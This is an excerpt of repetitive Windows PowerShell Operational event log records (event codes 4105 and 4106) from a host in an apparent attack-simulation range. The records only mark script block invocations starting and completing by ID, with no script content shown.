SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029841
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029840
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029839
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029838
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029822
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029821
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029816
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029815
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
